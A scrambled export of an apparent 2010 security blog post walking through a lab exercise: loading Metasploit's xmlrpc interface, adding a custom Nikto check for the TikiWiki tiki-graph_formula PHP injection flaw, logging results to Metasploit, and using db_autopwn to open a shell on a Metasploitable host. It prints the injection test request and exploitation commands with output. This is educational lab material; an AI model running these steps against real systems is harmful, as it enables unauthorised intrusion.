The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion.<\/p>\n
Preamble<\/strong> Requirements and Background<\/strong><\/p>\n After attending a recent security conference, I wanted to learn a little more about Metasploit database logging, xmlrpc and integration with other tools. Process<\/strong> It is possible to\u00a0have other applications write to the database is to use the xmlrpc interface of Metasploit. This sets up the web xmlrpc interface running on port 55553. We will use the same vulnerability in the previous<\/a> exercise, the tikiwiki_graph_formula_exec.<\/p>\n Let’s look at this exploit a little deeper. The new string will need to be added to the db_tests file in your Nikto\/Plugins directory. After you make sure you have a backup file, add a line like <\/p>\n “006XXX”,”40478″,”b”,”\/tikiwiki\/tiki-graph_formula.php?w=1&h=1&s=1&min=1&max=2&f[]=x.tan.phpinfo()&t=png&title=”,”GET”,”200″,””,””,””,””,”This device may hav a vulnerable installation of TikiWiki.”,””,””<\/span> .\/nikto.pl -host http:\/\/10.13.37.245 -Format msf -o msf:password123@http:\/\/localhost:55553\/RPC2<\/span><\/p>\n \u00a0(make sure you type the same username and password as when you setup the xmlrpc listener)<\/p>\n All of the scan results are saved in the msf database in realtime. msf > db_vulns<\/span>….. Metasploits autopwn is a great thing to play around with and is great to help you\u00a0make amazing\u00a0demos, but if not used wisely it can get you into trouble. For this exercise, were going for the\u00a0wow factor, so were going to use it. As you can see, we ran db_autopown\u00a0with the -x (select based on vuln references) and-e (launch exploits) and were rewarded with a shell.<\/p>\n Next Steps The following is based on my experiences and (limited) knowledge. I am not an expert in anything, nor will I likely ever be one. My hope is that this might help someone, somewhere, sometime. If nothing else, it might be a good start for discussion. PreambleThis exercise is for educational use only, and is intended […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,3],"tags":[],"class_list":["post-18","post","type-post","status-publish","format-standard","hentry","category-metasploit","category-red"],"_links":{"self":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/18","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=18"}],"version-history":[{"count":0,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=\/wp\/v2\/posts\/18\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=18"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=18"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.somethingsomethingsecurity.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=18"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
This exercise is for educational use only, and is intended to be used in a lab environment, or as part of an authorized pentest. Please always ensure any scans or changes to systems are part of your pentest scope and comply with your rules of engagement.<\/p>\n
What better way to learn then to hack something?
This exercise will walk trough setting up a postgres database in Metasploit, adding a custom check for a vulnerability in Nikto, writing Nikto results to the Metasploit database, and finally using db_autopwn to get a shell from the Nikto scan. <\/p>\n
First things first. Setting up the msf database.
In Metasploit, you will want to use postgress (or mysql) as your sql database. To check which driver is available in Metasploit, launch Metasploit
msf > db_driver<\/span>
[*]\u00a0\u00a0\u00a0 Active Driver: postgresql
[*]\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Available: postgresql, mysql, sqlite3
Assuming that\u00a0postgres is available, create a db as per http:\/\/www.metasploit.com\/redmine\/projects\/framework\/wiki\/Postgres_setup<\/a><\/p>\n
For more information on this see http:\/\/blog.happypacket.net\/<\/a>, and watch Ryan’s video from Defcon 18.
msf > load xmlrpc Pass=password123 ServerType=Web<\/span>[*] XMLRPC Service:\u00a0 127.0.0.1:55553
[*] XMLRPC Username: msf
[*] XMLRPC Password: password123
[*] XMLRPC Server Type: Web
[*] XMLRPC Web URI: \/RPC2
[*] Successfully loaded plugin: xmlrpc<\/p>\n
Now, in order to do the autopwn, we have to add our own test for a vulnerability that we know Metasploitable\u00a0is susceptible to\u00a0into Nikto. <\/p>\n
There are two ways to figure out how to detect the vulnerability. First let’s look at the code for the exploit itself\u00a0nano \/pentest\/exploits\/framework3\/modules\/exploits\/unix\/webapp\/tikiwiki_graph_formula_exec.rb
This looks like the place it happens
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # This function will build a fairly randomish query string to be used
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 # when exploiting this vulnerability \ud83d\ude42
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 #
\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0def build_uri(f_val)
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 uri = ”
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 uri << datastore['URI']
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 uri << \"\/tiki-graph_formula.php?\"
…. and we could dissect this a little further in order to build the http request to check for the vulnerability,
but there is an easier way. Instead lets look at the description for the exploit.
msf> info unix\/webapp\/tikiwiki_graph_formula_exec<\/span>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Name: TikiWiki tiki-graph_formula Remote PHP Code Execution
\u00a0\u00a0\u00a0\u00a0\u00a0 Version: 10394
\u00a0\u00a0\u00a0\u00a0\u00a0 Platform: PHP
….\u00a0removed to\u00a0shorten post\u00a0<\/span>
Description:
\u00a0 TikiWiki (<= 1.9.8) contains a flaw that may allow a remote attacker
\u00a0 to execute arbitrary PHP code. The issue is due to
\u00a0 ‘tiki-graph_formula.php’ script not properly sanitizing user input
\u00a0 supplied to create_function(), which may allow a remote attacker to
\u00a0 execute arbitrary PHP code resulting in a loss of integrity.
References:
\u00a0 http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=2007-5423<\/a>
\u00a0 http:\/\/www.osvdb.org\/40478<\/a>
\u00a0 http:\/\/www.securityfocus.com\/bid\/26006<\/a>
Following the osvdb link there plain as day is a manual test string that we can use in Nikto.<\/p>\n
where 006xxx is the one number greater then the last entry in your db_test file. 40478 is the osvdb number. This will be important for db_autopwn.
Save the file and then launch Nikto.<\/p>\n
msf > db_hosts<\/span>
Hosts
=====
address\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 address6\u00a0 arch\u00a0 comm\u00a0 comments\u00a0 created_at\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 info\u00a0 mac\u00a0 name\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 os_flavor\u00a0 os_lang\u00a0 os_name\u00a0 os_sp\u00a0 purpose\u00a0 state\u00a0 updated_at\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 svcs\u00a0 vulns\u00a0 workspace
——-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ——–\u00a0 —-\u00a0 —-\u00a0 ——–\u00a0 ———-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 —-\u00a0 —\u00a0 —-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 ———\u00a0 ——-\u00a0 ——-\u00a0 —–\u00a0 ——-\u00a0 —–\u00a0 ———-\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 —-\u00a0 —–\u00a0 ———
10.13.37.245\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Tue Nov 09 03:04:25 UTC 2010\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 00:0C:29:FB:5A:11\u00a0 10.13.37.245\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 alive\u00a0 Wed Nov 10 00:23:09 UTC 2010\u00a0 12\u00a0\u00a0\u00a0 6\u00a0\u00a0\u00a0\u00a0\u00a0 default<\/p>\n
[*] Time: Tue Nov 09 00:21:58 UTC 2010 Vuln: host=10.13.37.245 port=80 proto=tcp name=nikto.003584 refs=OSVDB-3233
[*] Time: Tue Nov 10 00:22:14 UTC 2010 Vuln: host=10.13.37.245 port=80 proto=tcp name=nikto.005988 refs=OSVDB-5292
[*] Time: Wed Nov 10 00:23:08 UTC 2010 Vuln: host=10.13.37.245 port=80 proto=tcp name=nikto.006453 refs=OSVDB-40478<\/strong>
\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 Notice how Nikto tested for and detected the tiki-wiki vulnerability.<\/p>\n
msf>\u00a0db_autopwn -x -e<\/span>
<\/span>[*] (1\/1 [0 sessions]): Launching exploit\/unix\/webapp\/tikiwiki_graph_formula_exec against 10.13.37.245:80…
[*] (1\/1 [0 sessions]): Waiting on 1 launched modules to finish execution…
[*] Command shell session 1 opened (10.13.37.136:33818 -> 10.13.37.245:17896) at Tue Nov 09 19:25:10 -0500 2010
msf> sessions -i 1<\/span>[*] Starting interaction with 1…
ls \/tmp<\/span>5489.jsvc_up
uname -a<\/span>Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU\/Linux<\/p>\n
This was just a quick introduction, and I have a lot more to learn about Metasploit’s database\u00a0and xmlrpc support, so stay tuned for more<\/p>\n","protected":false},"excerpt":{"rendered":"